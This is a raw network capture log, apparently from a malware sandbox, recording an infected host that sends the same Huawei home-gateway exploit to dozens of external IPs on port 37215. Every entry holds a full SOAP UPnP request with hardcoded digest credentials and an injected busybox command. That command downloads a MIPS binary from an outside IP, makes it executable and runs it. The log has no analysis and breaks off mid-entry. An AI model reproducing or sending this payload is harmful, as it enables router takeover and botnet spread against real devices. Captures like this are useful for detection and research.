Jan 5, 2025 14:34:53.761218071 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	49584	197.222.141.137	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.762166023 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	51538	41.177.145.25	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.762810946 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	52564	197.184.139.233	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.763550997 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	55356	197.45.188.115	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.764293909 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	33532	41.146.88.94	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.764939070 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	48552	197.25.242.105	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.765661955 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	45484	41.182.67.227	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.766410112 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	40850	156.153.54.149	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.767160892 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	55152	41.177.65.72	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.767916918 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	33226	156.95.107.101	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.768630981 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 